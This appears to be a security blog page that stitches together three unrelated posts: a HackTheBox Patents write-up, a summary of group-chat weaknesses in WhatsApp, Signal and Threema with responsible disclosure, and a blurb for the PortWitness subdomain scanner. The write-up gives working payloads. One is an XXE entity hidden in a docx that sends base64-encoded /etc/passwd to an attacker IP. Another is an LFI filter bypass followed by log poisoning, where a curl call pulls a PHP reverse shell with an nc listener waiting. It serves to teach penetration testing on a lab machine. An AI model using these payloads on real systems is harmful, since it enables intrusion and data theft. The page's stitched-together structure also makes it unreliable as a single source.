Joyce Sat

joycedotgdotsat

In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."

What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.

Extract the docx file.
Embed our payload in the extracted files.
Archive the file back in the docx format.
Upload the file on the server.

To extract the docx file we will use the unzip Linux command line tool.

mkdir doc
cd doc
unzip ../sample.docx

Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.

mkdir customXml
cd customXml
vim item1.xml

Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">

What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.

zip -r sample.docx *

here -r means recursive and * means all files sample.docx is the output file.

Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.

Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:

python -m SimpleHTTPServer 8090

and then upload the file to the server and see if it works.

We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.

Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:

cat passwd.64 | base64 -d > passwd

looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:

http://10.10.10.173/getPatent_alphav1.0.php

We can use the id parameter to view the uploaded patents like this:

http://10.10.10.173/getPatent_alphav1.0.php?id=1

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log

As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.

Lets setup our reverse shell listener:

nc -lvnp 9999

and then perfrom a request to the target server with our php code like this:

curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"

and lastly lets access the apache access.log file via the LFI on the target server:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3

Boom! we have a shell.

That's it for today's article see you next time.

References

OpenXML in word processing – Custom XML part – mapping flat data - https://blogs.sap.com/2017/04/24/openxml-in-word-processing-custom-xml-part-mapping-flat-data/
PayloadsAllTheThings - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter
php-reverse-shell - https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Our Aim and What We Were Looking For

End-to-end encryption protects the confidentiality of communication that is forwarded via central servers to the designated receivers. As a consequence, neither parties on the network route of the messages, nor the provider of the central server (e.g. the WhatsApp server) should be able to read any information out of the observation of the communication. In particular, no other user of the application should have access to the communication. Further it might be desirable to require that also the messages' integrity is end-to-end protected and that a sender is informed about the delivery state of sent messages.

Delivery state information in Signal (upper screenshot) and WhatsApp (lower screenshot)

In a two party scenario, this analysis is rather fixed to two components of the protocol: the key establishment between both parties and the communication channel protection using the established key (mostly consisting of an encryption algorithm and a scheme for providing integrity like MACs or signature schemes).

Regarded attackers

In a group setting, the same attackers apply (network, provider, other users). However the requirements for secure communication differ. It is further necessary that only group members can write to and read content from the group. Additionally, only administrators of the group are able to add new members.

In addition to these standard requirements, we also evaluated the protocols' security guarantees if the client's secrets were revealed (forward secrecy and future secrecy).

Our Approach

We analyzed the mentioned protocols by reading the source code and debugging the apps. We also used alternative open source implementations of Threema and WhatsApp as a help and we traced the network traffic. When using alternative implementations, we only took incoming traffic into account, which was generated by official applications. Thereby we extracted the protocol descriptions and evaluated them regarding the defined requirements.

Our Findings

In WhatsApp and Threema, the provider was able to manipulate the set of members. Threema only allowed the provider to rewind the set of members to a previous state. As a consequence previously removed members could have been added to the group again. The WhatsApp provider is able to arbitrarily manipulate the member set. Thereby further members and administrators can be added to the group. Since the authenticity of group manipulation is not protected, the WhatsApp provider can set the real group administrator as the source of manipulation even though this administrator was not active.

Since Signal's key exchange protocol provides future secrecy, we also evaluated the protocol's ability to recover into a secure group state after a member's state was compromised. The essential weakness here is that a sender only needs to know the static group ID to send a message to the group. If a group member receives a message with the correct group ID, no verification regarding the current member set takes place but the message is directly added to the group communication. Consequently it is sufficient to retrieve the group ID in order to send messages to the group. Since Signal treats content messages the same way as messages for the manipulation of the group set, an attacker who knows the group ID can add herself to the group and thereby read the subsequent group communication.

In addition to this, in all cases the delivery state of sent messages was not securely provided. Threema's group chats do not inform the sender about the delivery state while Signal and WhatsApp do not protect the delivery information on the end-to-end layer. Therefore the central provider can forge this information and drop messages without letting the communicating parties detect this.

Also the order of messages was manipulable for the providers of the applications such that the provider is able to deliver the messages in a different order than they were sent. Threema's weakness of rewinding a group state results from missing replay attack protection.

Impact of Weaknesses

Even though end-to-end encryption is implemented in all analyzed applications, the central providers can largely manipulate the communication in groups and partially also read it.
In all applications, the provider can undetectably drop and reorder messages during the delivery and thereby manipulate the view of the communication such that further attacks can be obfuscated.
The central servers of WhatsApp can be used to add arbitrary users to groups and thereby receive their communication.
To achieve the same result for Signal, it suffices to retrieve the group ID. An earlier member who left the group once still knows this ID since it is static. However, in contrast to WhatsApp, the origin of the manipulation is correctly displayed in the Signal application (which was not the fact when we started our analysis).

As a result, the end-to-end protection of WhatsApp is not sufficient to reach confidentiality in groups. For Signal no future secrecy is reached in groups and Threema was vulnerable to replay attacks which resulted in further weaknesses.

Responsible Disclosure

We disclosed our findings to the developers and received varying response. Threema updated their protocol in version 3.14 such that our attacks are not feasible anymore. Moxie Marlinspike responded that Signal is "working on an entirely new group mechanism that we should be deploying soon". WhatsApp did not hold out the prospect of fixing the described vulnerabilities (Update 01/18: According to Facebook's Security Head, the invite links make a fix more difficult [1]; we proposed a way to solve this issue [2]).

[1] https://twitter.com/alexstamos/status/951169036947107840
[2] https://web-in-security.blogspot.de/2018/01/group-instant-messaging-why-baming.html

More information

joycedotgdotsat

PortWitness is a bash tool designed to find out active domain and subdomains of websites using port scanning. It helps penetration testers and bug hunters collect and gather information about active subdomains for the domain they are targeting.PortWitness enumerates subdomains using Sublist3r and uses Nmap alongwith nslookup to check for active sites.Active domain or sub-domains are finally stored in an output file.Using that Output file a user can directly start testing those sites.

Sublist3r has also been integrated with this module.It's very effective and accurate when it comes to find out which sub-domains are active using Nmap and nslookup.

This tool also helps a user in getting the ip addresses of all sub-domains and stores then in a text file , these ip's can be used for further scanning of the target.

Installation

git clone https://github.com/viperbluff/PortWitness.git

BASH
This tool has been created using bash scripting so all you require is a linux machine.

Usage

bash portwitness.sh url

Download PortWitness

Joyce Sat

Followers

Blog Archive

About Me

Saturday, August 29, 2020

XXE In Docx Files And LFI To RCE

XML External Entity Attack

LFI to RCE

References

Related posts

Insecurities Of WhatsApp's, Signal's, And Threema's Group Chats

Our Aim and What We Were Looking For

Our Approach

Our Findings

Impact of Weaknesses

Responsible Disclosure

More information

Friday, August 28, 2020

PortWitness - Tool For Checking Whether A Domain Or Its Multiple Sub-Domains Are Up And Running

Related links